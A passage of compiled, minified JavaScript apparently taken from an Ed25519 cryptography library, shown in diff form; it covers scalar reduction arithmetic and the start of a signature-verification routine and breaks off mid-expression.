(B5 = C5 + B5 | 0) >>> 0 ? f5 + 1 | 0 : f5, T3 = I5 = E5 - (l5 = -2097152 & I5) | 0, o5 = C5 = p5 - ((l5 >>> 0 > E5 >>> 0) + D5 | 0) | 0, p5 = Bt2(x5, R5, 136657, 0), l5 = y4 + f5 | 0, l5 = p5 >>> 0 > (B5 = p5 + B5 | 0) >>> 0 ? l5 + 1 | 0 : l5, p5 = Bt2(I5, C5, -683901, -1), f5 = y4 + l5 | 0, C5 = f5 = p5 >>> 0 > (Q5 = p5 + B5 | 0) >>> 0 ? f5 + 1 | 0 : f5, D5 = l5 = f5 - ((Q5 >>> 0 < 4293918720) - 1 | 0) | 0, f5 = (2097151 & l5) << 11 | (I5 = Q5 - -1048576 | 0) >>> 21, l5 = (l5 >> 21) + d5 | 0, v5 = f5 = (l5 = f5 >>> 0 > (B5 = f5 + v5 | 0) >>> 0 ? l5 + 1 | 0 : l5) - ((B5 >>> 0 < 4293918720) - 1 | 0) | 0, E5 = (2097151 & f5) << 11 | (d5 = B5 - -1048576 | 0) >>> 21, f5 = (f5 >> 21) + q4 | 0, X3 = k5 = E5 + L5 | 0, k5 = E5 >>> 0 > k5 >>> 0 ? f5 + 1 | 0 : f5, V3 = B5 - (f5 = -2097152 & d5) | 0, W3 = l5 - ((f5 >>> 0 > B5 >>> 0) + v5 | 0) | 0, L5 = Q5 - (l5 = -2097152 & I5) | 0, q4 = C5 - ((l5 >>> 0 > Q5 >>> 0) + D5 | 0) | 0, C5 = Bt2(K5, Y5, 666643, 0), l5 = (f5 = c4[t7 + 14 | 0]) >>> 24 | 0, d5 = f5 << 8 | (D5 = c4[t7 + 10 | 0] | c4[t7 + 11 | 0] << 8 | c4[t7 + 12 | 0] << 16 | c4[t7 + 13 | 0] << 24) >>> 24, p5 = l5, f5 = (l5 = c4[t7 + 15 | 0]) >>> 16 | 0, f5 |= p5, p5 = y4, p5 = (l5 = 2097151 & ((1 & f5) << 31 | (l5 = l5 << 16 | d5) >>> 1)) >>> 0 > (f5 = l5 + C5 | 0) >>> 0 ? p5 + 1 | 0 : p5, d5 = (l5 = f5) + (f5 = Bt2(U5, J5, 470296, 0)) | 0, l5 = y4 + p5 | 0, l5 = f5 >>> 0 > d5 >>> 0 ? l5 + 1 | 0 : l5, f5 = Bt2(G5, i4, 654183, 0), l5 = y4 + l5 | 0, l5 = f5 >>> 0 > (p5 = f5 + d5 | 0) >>> 0 ? l5 + 1 | 0 : l5, d5 = (f5 = p5) + (p5 = Bt2(x5, R5, -997805, -1)) | 0, f5 = y4 + l5 | 0, f5 = p5 >>> 0 > d5 >>> 0 ? f5 + 1 | 0 : f5, l5 = Bt2(T3, o5, 136657, 0), f5 = y4 + f5 | 0, Q5 = p5 = l5 + d5 | 0, d5 = l5 >>> 0 > p5 >>> 0 ? f5 + 1 | 0 : f5, m5 = w5 - (l5 = -2097152 & m5) | 0, C5 = b5 - ((l5 >>> 0 > w5 >>> 0) + u5 | 0) | 0, p5 = Bt2(e6, 0, 136657, 0), l5 = y4, l5 = (f5 = (c4[t7 + 28 | 0] | c4[t7 + 29 | 0] << 8 | c4[t7 + 30 | 0] << 16 | c4[t7 + 31 | 0] << 24) >>> 7 & 2097151) >>> 0 > (p5 = f5 + p5 | 0) >>> 0 ? l5 + 1 | 0 : l5, I5 = (f5 = p5) + (p5 = Bt2(H5, 0, -997805, -1)) | 0, f5 = y4 + l5 | 0, f5 = p5 >>> 0 > I5 >>> 0 ? f5 + 1 | 0 : f5, l5 = Bt2(r11, j5, -683901, -1), f5 = y4 + f5 | 0, f5 = l5 >>> 0 > (p5 = l5 + I5 | 0) >>> 0 ? f5 + 1 | 0 : f5, I5 = (l5 = Bt2(P5, 0, 666643, 0)) + p5 | 0, p5 = y4 + f5 | 0, p5 = l5 >>> 0 > I5 >>> 0 ? p5 + 1 | 0 : p5, f5 = Bt2(n9, 0, 470296, 0), l5 = y4 + p5 | 0, l5 = f5 >>> 0 > (I5 = f5 + I5 | 0) >>> 0 ? l5 + 1 | 0 : l5, f5 = Bt2(A8, z4, 654183, 0), l5 = y4 + l5 | 0, f5 = (N6 >> 21) + (f5 >>> 0 > (p5 = f5 + I5 | 0) >>> 0 ? l5 + 1 | 0 : l5) | 0, E5 = f5 = (I5 = (2097151 & N6) << 11 | S5 >>> 21) >>> 0 > (S5 = I5 + p5 | 0) >>> 0 ? f5 + 1 | 0 : f5, v5 = l5 = f5 - ((S5 >>> 0 < 4293918720) - 1 | 0) | 0, I5 = (2097151 & l5) << 11 | (B5 = S5 - -1048576 | 0) >>> 21, l5 = (l5 >> 21) + C5 | 0, F5 = l5 = (f5 = I5 + m5 | 0) >>> 0 < I5 >>> 0 ? l5 + 1 | 0 : l5, N6 = f5, f5 = Bt2(f5, l5, -683901, -1), l5 = y4 + d5 | 0, I5 = p5 = f5 + Q5 | 0, d5 = f5 >>> 0 > p5 >>> 0 ? l5 + 1 | 0 : l5, l5 = Bt2(U5, J5, 666643, 0), f5 = y4, f5 = l5 >>> 0 > (p5 = l5 + (D5 >>> 4 & 2097151) | 0) >>> 0 ? f5 + 1 | 0 : f5, l5 = Bt2(G5, i4, 470296, 0), f5 = y4 + f5 | 0, f5 = l5 >>> 0 > (p5 = l5 + p5 | 0) >>> 0 ? f5 + 1 | 0 : f5, C5 = (l5 = Bt2(x5, R5, 654183, 0)) + p5 | 0, p5 = y4 + f5 | 0, p5 = l5 >>> 0 > C5 >>> 0 ? p5 + 1 | 0 : p5, f5 = Bt2(T3, o5, -997805, -1), l5 = y4 + p5 | 0, l5 = f5 >>> 0 > (C5 = f5 + C5 | 0) >>> 0 ? l5 + 1 | 0 : l5, f5 = Bt2(N6, F5, 136657, 0), l5 = y4 + l5 | 0, b5 = l5 = f5 >>> 0 > (w5 = f5 + C5 | 0) >>> 0 ? l5 + 1 | 0 : l5, Y5 = f5 = l5 - ((w5 >>> 0 < 4293918720) - 1 | 0) | 0, l5 = I5, I5 = (2097151 & f5) << 11 | (m5 = w5 - -1048576 | 0) >>> 21, f5 = (f5 >> 21) + d5 | 0, U5 = d5 = (f5 = (p5 = l5 + I5 | 0) >>> 0 < I5 >>> 0 ? f5 + 1 | 0 : f5) - ((p5 >>> 0 < 4293918720) - 1 | 0) | 0, l5 = (l5 = d5 >> 21) + q4 | 0, K5 = I5 = (d5 = (2097151 & d5) << 11 | (C5 = p5 - -1048576 | 0) >>> 21) + L5 | 0, Q5 = d5 >>> 0 > I5 >>> 0 ? l5 + 1 | 0 : l5, I5 = p5, p5 = f5, d5 = (S5 - (f5 = -2097152 & B5) | 0) + (B5 = (2097151 & _5) << 11 | M5 >>> 21) | 0, f5 = (E5 - ((f5 >>> 0 > S5 >>> 0) + v5 | 0) | 0) + (_5 >> 21) | 0, D5 = f5 = d5 >>> 0 < B5 >>> 0 ? f5 + 1 | 0 : f5, H5 = f5 = f5 - ((d5 >>> 0 < 4293918720) - 1 | 0) | 0, M5 = l5 = f5 >> 21, l5 = Bt2(P5 = (2097151 & f5) << 11 | (v5 = d5 - -1048576 | 0) >>> 21, l5, -683901, -1), p5 = y4 + p5 | 0, p5 = l5 >>> 0 > (f5 = l5 + I5 | 0) >>> 0 ? p5 + 1 | 0 : p5, j5 = f5 - (l5 = -2097152 & C5) | 0, z4 = p5 - ((l5 >>> 0 > f5 >>> 0) + U5 | 0) | 0, l5 = Bt2(P5, M5, 136657, 0), f5 = b5 + y4 | 0, J5 = (p5 = l5 + w5 | 0) - (l5 = -2097152 & m5) | 0, U5 = (f5 = p5 >>> 0 < w5 >>> 0 ? f5 + 1 | 0 : f5) - ((l5 >>> 0 > p5 >>> 0) + Y5 | 0) | 0, f5 = Bt2(G5, i4, 666643, 0), p5 = y4, p5 = (l5 = (c4[t7 + 7 | 0] | c4[t7 + 8 | 0] << 8 | c4[t7 + 9 | 0] << 16 | c4[t7 + 10 | 0] << 24) >>> 7 & 2097151) >>> 0 > (f5 = l5 + f5 | 0) >>> 0 ? p5 + 1 | 0 : p5, I5 = (l5 = Bt2(x5, R5, 470296, 0)) + f5 | 0, f5 = y4 + p5 | 0, f5 = l5 >>> 0 > I5 >>> 0 ? f5 + 1 | 0 : f5, l5 = Bt2(T3, o5, 654183, 0), f5 = y4 + f5 | 0, f5 = l5 >>> 0 > (p5 = l5 + I5 | 0) >>> 0 ? f5 + 1 | 0 : f5, I5 = (l5 = p5) + (p5 = Bt2(N6, F5, -997805, -1)) | 0, l5 = y4 + f5 | 0, B5 = I5, I5 = p5 >>> 0 > I5 >>> 0 ? l5 + 1 | 0 : l5, b5 = Bt2(x5, R5, 666643, 0), l5 = (f5 = c4[t7 + 6 | 0]) >>> 24 | 0, C5 = f5 << 8 | (S5 = c4[t7 + 2 | 0] | c4[t7 + 3 | 0] << 8 | c4[t7 + 4 | 0] << 16 | c4[t7 + 5 | 0] << 24) >>> 24, p5 = l5, f5 = (l5 = c4[t7 + 7 | 0]) >>> 16 | 0, f5 = 2097151 & ((3 & (f5 |= p5)) << 30 | (l5 = l5 << 16 | C5) >>> 2), l5 = y4, l5 = f5 >>> 0 > (p5 = f5 + b5 | 0) >>> 0 ? l5 + 1 | 0 : l5, C5 = (f5 = Bt2(T3, o5, 470296, 0)) + p5 | 0, p5 = y4 + l5 | 0, p5 = f5 >>> 0 > C5 >>> 0 ? p5 + 1 | 0 : p5, f5 = Bt2(N6, F5, 654183, 0), l5 = y4 + p5 | 0, b5 = l5 = f5 >>> 0 > (E5 = f5 + C5 | 0) >>> 0 ? l5 + 1 | 0 : l5, _5 = l5 = l5 - ((E5 >>> 0 < 4293918720) - 1 | 0) | 0, f5 = (p5 = l5 >> 21) + I5 | 0, w5 = l5 = (f5 = (l5 = (2097151 & l5) << 11 | (m5 = E5 - -1048576 | 0) >>> 21) >>> 0 > (C5 = l5 + B5 | 0) >>> 0 ? f5 + 1 | 0 : f5) - ((C5 >>> 0 < 4293918720) - 1 | 0) | 0, B5 = (2097151 & l5) << 11 | (I5 = C5 - -1048576 | 0) >>> 21, l5 = (l5 >> 21) + U5 | 0, U5 = x5 = B5 + J5 | 0, B5 = B5 >>> 0 > x5 >>> 0 ? l5 + 1 | 0 : l5, l5 = Bt2(P5, M5, -997805, -1), f5 = y4 + f5 | 0, f5 = l5 >>> 0 > (p5 = l5 + C5 | 0) >>> 0 ? f5 + 1 | 0 : f5, G5 = p5 - (l5 = -2097152 & I5) | 0, R5 = f5 - ((l5 >>> 0 > p5 >>> 0) + w5 | 0) | 0, f5 = Bt2(P5, M5, 654183, 0), l5 = b5 + y4 | 0, x5 = (p5 = f5 + E5 | 0) - (f5 = -2097152 & m5) | 0, _5 = (l5 = p5 >>> 0 < E5 >>> 0 ? l5 + 1 | 0 : l5) - ((f5 >>> 0 > p5 >>> 0) + _5 | 0) | 0, l5 = Bt2(T3, o5, 666643, 0), f5 = y4, f5 = l5 >>> 0 > (p5 = l5 + (S5 >>> 5 & 2097151) | 0) >>> 0 ? f5 + 1 | 0 : f5, l5 = Bt2(N6, F5, 470296, 0), f5 = y4 + f5 | 0, C5 = p5 = l5 + p5 | 0, p5 = l5 >>> 0 > p5 >>> 0 ? f5 + 1 | 0 : f5, I5 = Bt2(N6, F5, 666643, 0), f5 = (l5 = c4[t7 + 2 | 0]) << 16 & 2031616 | c4[0 | t7] | c4[t7 + 1 | 0] << 8, l5 = y4, b5 = l5 = f5 >>> 0 > (w5 = I5 + f5 | 0) >>> 0 ? l5 + 1 | 0 : l5, F5 = l5 = l5 - ((w5 >>> 0 < 4293918720) - 1 | 0) | 0, I5 = (2097151 & l5) << 11 | (m5 = w5 - -1048576 | 0) >>> 21, l5 = (l5 >> 21) + p5 | 0, p5 = l5 = I5 >>> 0 > (E5 = I5 + C5 | 0) >>> 0 ? l5 + 1 | 0 : l5, S5 = l5 = l5 - ((E5 >>> 0 < 4293918720) - 1 | 0) | 0, I5 = (2097151 & l5) << 11 | (C5 = E5 - -1048576 | 0) >>> 21, l5 = (l5 >> 21) + _5 | 0, I5 = I5 >>> 0 > (_5 = N6 = I5 + x5 | 0) >>> 0 ? l5 + 1 | 0 : l5, l5 = Bt2(P5, M5, 470296, 0), p5 = p5 + y4 | 0, p5 = (f5 = l5 + E5 | 0) >>> 0 < E5 >>> 0 ? p5 + 1 | 0 : p5, E5 = f5 - (l5 = -2097152 & C5) | 0, C5 = p5 - ((l5 >>> 0 > f5 >>> 0) + S5 | 0) | 0, f5 = Bt2(P5, M5, 666643, 0), l5 = y4 + (b5 - (((p5 = -2097152 & m5) >>> 0 > w5 >>> 0) + F5 | 0) | 0) | 0, f5 = (p5 = (l5 = f5 >>> 0 > (N6 = f5 + (w5 - p5 | 0) | 0) >>> 0 ? l5 + 1 | 0 : l5) >> 21) + C5 | 0, l5 = (l5 = (f5 = (l5 = (2097151 & l5) << 11 | N6 >>> 21) >>> 0 > (S5 = l5 + E5 | 0) >>> 0 ? f5 + 1 | 0 : f5) >> 21) + I5 | 0, f5 = (f5 = (l5 = (f5 = (2097151 & f5) << 11 | S5 >>> 21) >>> 0 > (_5 = f5 + _5 | 0) >>> 0 ? l5 + 1 | 0 : l5) >> 21) + R5 | 0, p5 = (l5 = (f5 = (l5 = (2097151 & l5) << 11 | _5 >>> 21) >>> 0 > (I5 = l5 + G5 | 0) >>> 0 ? f5 + 1 | 0 : f5) >> 21) + B5 | 0, l5 = (f5 = (p5 = (f5 = (2097151 & f5) << 11 | I5 >>> 21) >>> 0 > (M5 = f5 + U5 | 0) >>> 0 ? p5 + 1 | 0 : p5) >> 21) + z4 | 0, f5 = (p5 = (l5 = (p5 = (2097151 & p5) << 11 | M5 >>> 21) >>> 0 > (w5 = p5 + j5 | 0) >>> 0 ? l5 + 1 | 0 : l5) >> 21) + Q5 | 0, l5 = (l5 = (f5 = (l5 = (2097151 & l5) << 11 | w5 >>> 21) >>> 0 > (E5 = l5 + K5 | 0) >>> 0 ? f5 + 1 | 0 : f5) >> 21) + W3 | 0, f5 = (f5 = (l5 = (f5 = (2097151 & f5) << 11 | E5 >>> 21) >>> 0 > (Q5 = f5 + V3 | 0) >>> 0 ? l5 + 1 | 0 : l5) >> 21) + k5 | 0, p5 = (l5 = (f5 = (l5 = (2097151 & l5) << 11 | Q5 >>> 21) >>> 0 > (B5 = l5 + X3 | 0) >>> 0 ? f5 + 1 | 0 : f5) >> 21) + g5 | 0, l5 = (f5 = (p5 = (f5 = (2097151 & f5) << 11 | B5 >>> 21) >>> 0 > (b5 = f5 + h5 | 0) >>> 0 ? p5 + 1 | 0 : p5) >> 21) + O5 | 0, C5 = (v5 = d5 - (f5 = -2097152 & v5) | 0) + ((2097151 & (l5 = (p5 = (2097151 & p5) << 11 | b5 >>> 21) >>> 0 > (m5 = p5 + a5 | 0) >>> 0 ? l5 + 1 | 0 : l5)) << 11 | m5 >>> 21) | 0, l5 = (D5 - ((f5 >>> 0 > d5 >>> 0) + H5 | 0) | 0) + (l5 >> 21) | 0, v5 = f5 = (l5 = C5 >>> 0 < v5 >>> 0 ? l5 + 1 | 0 : l5) >> 21, N6 = (l5 = Bt2(k5 = (2097151 & l5) << 11 | C5 >>> 21, f5, 666643, 0)) + (f5 = 2097151 & N6) | 0, l5 = y4, d5 = l5 = f5 >>> 0 > N6 >>> 0 ? l5 + 1 | 0 : l5, s4[0 | t7] = N6, s4[t7 + 1 | 0] = (255 & l5) << 24 | N6 >>> 8, l5 = 2097151 & S5, f5 = Bt2(k5, v5, 470296, 0) + l5 | 0, p5 = y4, l5 = (d5 >> 21) + (l5 >>> 0 > f5 >>> 0 ? p5 + 1 | 0 : p5) | 0, l5 = (D5 = (2097151 & d5) << 11 | N6 >>> 21) >>> 0 > (S5 = D5 + f5 | 0) >>> 0 ? l5 + 1 | 0 : l5, s4[t7 + 4 | 0] = (2047 & l5) << 21 | S5 >>> 11, f5 = l5, p5 = S5, s4[t7 + 3 | 0] = (7 & l5) << 29 | p5 >>> 3, s4[t7 + 2 | 0] = 31 & ((65535 & d5) << 16 | N6 >>> 16) | p5 << 5, d5 = 2097151 & _5, _5 = Bt2(k5, v5, 654183, 0) + d5 | 0, l5 = y4, S5 = (2097151 & f5) << 11 | p5 >>> 21, f5 = (f5 >> 21) + (d5 = d5 >>> 0 > _5 >>> 0 ? l5 + 1 | 0 : l5) | 0, l5 = f5 = (_5 = S5 + _5 | 0) >>> 0 < S5 >>> 0 ? f5 + 1 | 0 : f5, s4[t7 + 6 | 0] = (63 & l5) << 26 | _5 >>> 6, d5 = _5, _5 = 0, s4[t7 + 5 | 0] = _5 << 13 | (1572864 & p5) >>> 19 | d5 << 2, p5 = 2097151 & I5, I5 = Bt2(k5, v5, -997805, -1) + p5 | 0, f5 = y4, f5 = p5 >>> 0 > I5 >>> 0 ? f5 + 1 | 0 : f5, _5 = (2097151 & (p5 = l5)) << 11 | d5 >>> 21, p5 = (l5 >>= 21) + f5 | 0, p5 = (I5 = _5 + I5 | 0) >>> 0 < _5 >>> 0 ? p5 + 1 | 0 : p5, s4[t7 + 9 | 0] = (511 & p5) << 23 | I5 >>> 9, s4[t7 + 8 | 0] = (1 & p5) << 31 | I5 >>> 1, f5 = 0, s4[t7 + 7 | 0] = f5 << 18 | (2080768 & d5) >>> 14 | I5 << 7, f5 = 2097151 & M5, d5 = Bt2(k5, v5, 136657, 0) + f5 | 0, l5 = y4, l5 = f5 >>> 0 > d5 >>> 0 ? l5 + 1 | 0 : l5, M5 = (2097151 & (f5 = p5)) << 11 | I5 >>> 21, f5 = l5 + (p5 = f5 >> 21) | 0, f5 = (d5 = M5 + d5 | 0) >>> 0 < M5 >>> 0 ? f5 + 1 | 0 : f5, s4[t7 + 12 | 0] = (4095 & f5) << 20 | d5 >>> 12, p5 = d5, s4[t7 + 11 | 0] = (15 & f5) << 28 | p5 >>> 4, d5 = 0, s4[t7 + 10 | 0] = d5 << 15 | (1966080 & I5) >>> 17 | p5 << 4, d5 = 2097151 & w5, I5 = Bt2(k5, v5, -683901, -1) + d5 | 0, l5 = y4, l5 = d5 >>> 0 > I5 >>> 0 ? l5 + 1 | 0 : l5, d5 = f5, f5 = l5 + (f5 >>= 21) | 0, f5 = (d5 = (x5 = I5) + (I5 = (2097151 & d5) << 11 | p5 >>> 21) | 0) >>> 0 < I5 >>> 0 ? f5 + 1 | 0 : f5, s4[t7 + 14 | 0] = (127 & f5) << 25 | d5 >>> 7, I5 = 0, s4[t7 + 13 | 0] = I5 << 12 | (1048576 & p5) >>> 20 | d5 << 1, l5 = f5 >> 21, p5 = (f5 = (2097151 & f5) << 11 | d5 >>> 21) >>> 0 > (I5 = f5 + (2097151 & E5) | 0) >>> 0 ? l5 + 1 | 0 : l5, s4[t7 + 17 | 0] = (1023 & p5) << 22 | I5 >>> 10, s4[t7 + 16 | 0] = (3 & p5) << 30 | I5 >>> 2, f5 = 0, s4[t7 + 15 | 0] = f5 << 17 | (2064384 & d5) >>> 15 | I5 << 6, l5 = p5 >> 21, l5 = (f5 = (2097151 & p5) << 11 | I5 >>> 21) >>> 0 > (p5 = f5 + (2097151 & Q5) | 0) >>> 0 ? l5 + 1 | 0 : l5, s4[t7 + 20 | 0] = (8191 & l5) << 19 | p5 >>> 13, s4[t7 + 19 | 0] = (31 & l5) << 27 | p5 >>> 5, d5 = (f5 = 2097151 & B5) + (B5 = (2097151 & l5) << 11 | p5 >>> 21) | 0, f5 = l5 >> 21, f5 = d5 >>> 0 < B5 >>> 0 ? f5 + 1 | 0 : f5, B5 = d5, s4[t7 + 21 | 0] = d5, Q5 = 0, s4[t7 + 18 | 0] = Q5 << 14 | (1835008 & I5) >>> 18 | p5 << 3, s4[t7 + 22 | 0] = (255 & f5) << 24 | d5 >>> 8, p5 = f5 >> 21, p5 = (d5 = (I5 = (2097151 & f5) << 11 | d5 >>> 21) + (2097151 & b5) | 0) >>> 0 < I5 >>> 0 ? p5 + 1 | 0 : p5, s4[t7 + 25 | 0] = (2047 & p5) << 21 | d5 >>> 11, s4[t7 + 24 | 0] = (7 & p5) << 29 | d5 >>> 3, s4[t7 + 23 | 0] = 31 & ((65535 & f5) << 16 | B5 >>> 16) | d5 << 5, l5 = p5 >> 21, l5 = (f5 = (2097151 & p5) << 11 | d5 >>> 21) >>> 0 > (p5 = f5 + (2097151 & m5) | 0) >>> 0 ? l5 + 1 | 0 : l5, s4[t7 + 27 | 0] = (63 & l5) << 26 | p5 >>> 6, I5 = 0, s4[t7 + 26 | 0] = I5 << 13 | (1572864 & d5) >>> 19 | p5 << 2, f5 = l5 >> 21, f5 = (l5 = (d5 = (2097151 & l5) << 11 | p5 >>> 21) + (2097151 & C5) | 0) >>> 0 < d5 >>> 0 ? f5 + 1 | 0 : f5, s4[t7 + 31 | 0] = (131071 & f5) << 15 | l5 >>> 17, s4[t7 + 30 | 0] = (511 & f5) << 23 | l5 >>> 9, s4[t7 + 29 | 0] = (1 & f5) << 31 | l5 >>> 1, d5 = 0, s4[t7 + 28 | 0] = d5 << 18 | (2080768 & p5) >>> 14 | l5 << 7; - } - function w4(t7, e6, r11, n9, A8, i4) { - var o5, h5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0, w5 = 0, Q5 = 0, b5 = 0, k5 = 0, S5 = 0, M5 = 0, x5 = 0, F5 = 0, U5 = 0, H5 = 0, L5 = 0, O5 = 0, Y5 = 0, K5 = 0, J5 = 0, j5 = 0, z4 = 0, q4 = 0, X3 = 0, V3 = 0, W3 = 0, $3 = 0, tt3 = 0, et3 = 0, rt3 = 0, nt3 = 0, At3 = 0, it3 = 0; - for (I4 = o5 = I4 - 592 | 0, k5 = -1, w5 = t7 + 32 | 0, B5 = 32, Q5 = 1; S5 = c4[2672 + (p5 = B5 - 1 | 0) | 0], l5 = (p5 = ((u5 = c4[p5 + w5 | 0]) ^ S5) - 1 >> 8 & Q5) & (d5 = c4[w5 + (B5 = B5 - 2 | 0) | 0]) - (f5 = c4[B5 + 2672 | 0]) >> 8 | 255 & (u5 - S5 >>> 8 & Q5 | l5), Q5 = p5 & (f5 ^ d5) - 1 >> 8, B5; ) - ; - if (255 & l5 && !(lt2(t7) | !(~((127 & ~c4[A8 + 31 | 0] | c4[A8 + 1 | 0] & c4[A8 + 2 | 0] & c4[A8 + 3 | 0] & c4[A8 + 4 | 0] & c4[A8 + 5 | 0] & c4[A8 + 6 | 0] & c4[A8 + 7 | 0] & c4[A8 + 8 | 0] & c4[A8 + 9 | 0] & c4[A8 + 10 | 0] & c4[A8 + 11 | 0] & c4[A8 + 12 | 0] & c4[A8 + 13 | 0] & c4[A8 + 14 | 0] & c4[A8 + 15 | 0] & c4[A8 + 16 | 0] & c4[A8 + 17 | 0] & c4[A8 + 18 | 0] & c4[A8 + 19 | 0] & c4[A8 + 20 | 0] & c4[A8 + 21 | 0] & c4[A8 + 22 | 0] & c4[A8 + 23 | 0] & c4[A8 + 24 | 0] & c4[A8 + 25 | 0] & c4[A8 + 26 | 0] & c4[A8 + 27 | 0] & c4[A8 + 28 | 0] & c4[A8 + 30 | 0] & c4[A8 + 29 | 0] ^ 255) - 1 & 236 - c4[0 | A8]) >>> 8 & 1) || lt2(A8) || N5(p5 = o5 + 128 | 0, A8))) { - for (gt2(u5 = o5 + 384 | 0), i4 && G4(u5, 35136, 34, 0), G4(u5, t7, 32, 0), G4(u5, A8, 32, 0), G4(u5, e6, r11, n9), D4(u5, r11 = o5 + 320 | 0), E4(r11), n9 = o5 + 8 | 0, A8 = 0, e6 = 0, I4 = h5 = I4 - 2272 | 0; u5 = r11 + (A8 >>> 3 | 0) | 0, s4[(i4 = h5 + 2016 | 0) + A8 | 0] = c4[0 | u5] >>> (6 & A8) & 1, s4[(l5 = i4) + (i4 = 1 | A8) | 0] = c4[0 | u5] >>> (7 & i4) & 1, 256 != (0 | (A8 = A8 + 2 | 0)); ) - ; - for (; ; ) { - e6 = (r11 = e6) + 1 | 0; - t: - if (!(r11 >>> 0 > 254) && c4[0 | (l5 = (A8 = h5 + 2016 | 0) + r11 | 0)]) { - e: - if (A8 = s4[0 | (f5 = e6 + A8 | 0)]) - if ((0 | (A8 = (u5 = A8 << 1) + (i4 = s4[0 | l5]) | 0)) <= 15) - s4[0 | l5] = A8, s4[0 | f5] = 0; - else { - if ((0 | (A8 = i4 - u5 | 0)) < -15) - break t; - for (s4[0 | l5] = A8, A8 = e6; ; ) { - if (!c4[0 | (i4 = (h5 + 2016 | 0) + A8 | 0)]) { - s4[0 | i4] = 1; - break e; - } - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, !i4) - break; - } - } - if (!(r11 >>> 0 > 253)) { - e: - if (i4 = s4[0 | (d5 = (A8 = r11 + 2 | 0) + (h5 + 2016 | 0) | 0)]) - if ((0 | (i4 = (f5 = i4 << 2) + (u5 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (i4 = u5 - f5 | 0)) < -15) - break t; - for (s4[0 | l5] = i4; ; ) { - if (c4[0 | (i4 = (h5 + 2016 | 0) + A8 | 0)]) { - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, i4) - continue; - break e; - } - break; - } - s4[0 | i4] = 1; - } else - s4[0 | l5] = i4, s4[0 | d5] = 0; - if (!(r11 >>> 0 > 252)) { - e: - if (i4 = s4[0 | (d5 = (A8 = r11 + 3 | 0) + (h5 + 2016 | 0) | 0)]) - if ((0 | (i4 = (f5 = i4 << 3) + (u5 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (i4 = u5 - f5 | 0)) < -15) - break t; - for (s4[0 | l5] = i4; ; ) { - if (c4[0 | (i4 = (h5 + 2016 | 0) + A8 | 0)]) { - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, i4) - continue; - break e; - } - break; - } - s4[0 | i4] = 1; - } else - s4[0 | l5] = i4, s4[0 | d5] = 0; - if (!(r11 >>> 0 > 251)) { - e: - if (i4 = s4[0 | (d5 = (A8 = r11 + 4 | 0) + (h5 + 2016 | 0) | 0)]) - if ((0 | (i4 = (f5 = i4 << 4) + (u5 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (i4 = u5 - f5 | 0)) < -15) - break t; - for (s4[0 | l5] = i4; ; ) { - if (c4[0 | (i4 = (h5 + 2016 | 0) + A8 | 0)]) { - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, i4) - continue; - break e; - } - break; - } - s4[0 | i4] = 1; - } else - s4[0 | l5] = i4, s4[0 | d5] = 0; - if (!(r11 >>> 0 > 250)) { - e: - if (i4 = s4[0 | (d5 = (A8 = r11 + 5 | 0) + (h5 + 2016 | 0) | 0)]) - if ((0 | (i4 = (f5 = i4 << 5) + (u5 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (i4 = u5 - f5 | 0)) < -15) - break t; - for (s4[0 | l5] = i4; ; ) { - if (c4[0 | (i4 = (h5 + 2016 | 0) + A8 | 0)]) { - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, i4) - continue; - break e; - } - break; - } - s4[0 | i4] = 1; - } else - s4[0 | l5] = i4, s4[0 | d5] = 0; - if (!(r11 >>> 0 > 249) && (r11 = s4[0 | (f5 = (A8 = r11 + 6 | 0) + (h5 + 2016 | 0) | 0)])) - if ((0 | (r11 = (u5 = r11 << 6) + (i4 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (r11 = i4 - u5 | 0)) < -15) - break t; - for (s4[0 | l5] = r11; ; ) { - if (c4[0 | (r11 = (h5 + 2016 | 0) + A8 | 0)]) { - if (s4[0 | r11] = 0, r11 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, r11) - continue; - break t; - } - break; - } - s4[0 | r11] = 1; - } else - s4[0 | l5] = r11, s4[0 | f5] = 0; - } - } - } - } - } - if (256 == (0 | e6)) - break; - } - for (A8 = 0; r11 = w5 + (A8 >>> 3 | 0) | 0, s4[(e6 = h5 + 1760 | 0) + A8 | 0] = c4[0 | r11] >>> (6 & A8) & 1, s4[(i4 = e6) + (e6 = 1 | A8) | 0] = c4[0 | r11] >>> (7 & e6) & 1, 256 != (0 | (A8 = A8 + 2 | 0)); ) - ; - for (e6 = 0; ; ) { - e6 = (r11 = e6) + 1 | 0; - t: - if (!(r11 >>> 0 > 254) && c4[0 | (l5 = (A8 = h5 + 1760 | 0) + r11 | 0)]) { - e: - if (A8 = s4[0 | (f5 = e6 + A8 | 0)]) - if ((0 | (A8 = (u5 = A8 << 1) + (i4 = s4[0 | l5]) | 0)) <= 15) - s4[0 | l5] = A8, s4[0 | f5] = 0; - else { - if ((0 | (A8 = i4 - u5 | 0)) < -15) - break t; - for (s4[0 | l5] = A8, A8 = e6; ; ) { - if (!c4[0 | (i4 = (h5 + 1760 | 0) + A8 | 0)]) { - s4[0 | i4] = 1; - break e; - } - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, !i4) - break; - } - } - if (!(r11 >>> 0 > 253)) { - e: - if (i4 = s4[0 | (d5 = (A8 = r11 + 2 | 0) + (h5 + 1760 | 0) | 0)]) - if ((0 | (i4 = (f5 = i4 << 2) + (u5 = s4[0 | l5]) | 0)) >= 16) { - if ((0 | (i4 = u5 - f5 | 0)) < -15) - break t; - for (s4[0 | l5] = i4; ; ) { - if (c4[0 | (i4 = (h5 + 1760 | 0) + A8 | 0)]) { - if (s4[0 | i4] = 0, i4 = A8 >>> 0 < 255, A8 = A8 + 1 | 0, i4) - continue; - break e; - } - break; - } - s4[0 | i4] = 1; - } else - s4[0 | l5] = i4, s4[0 | d5] = 0; - if (!(r11 >>> 0 > 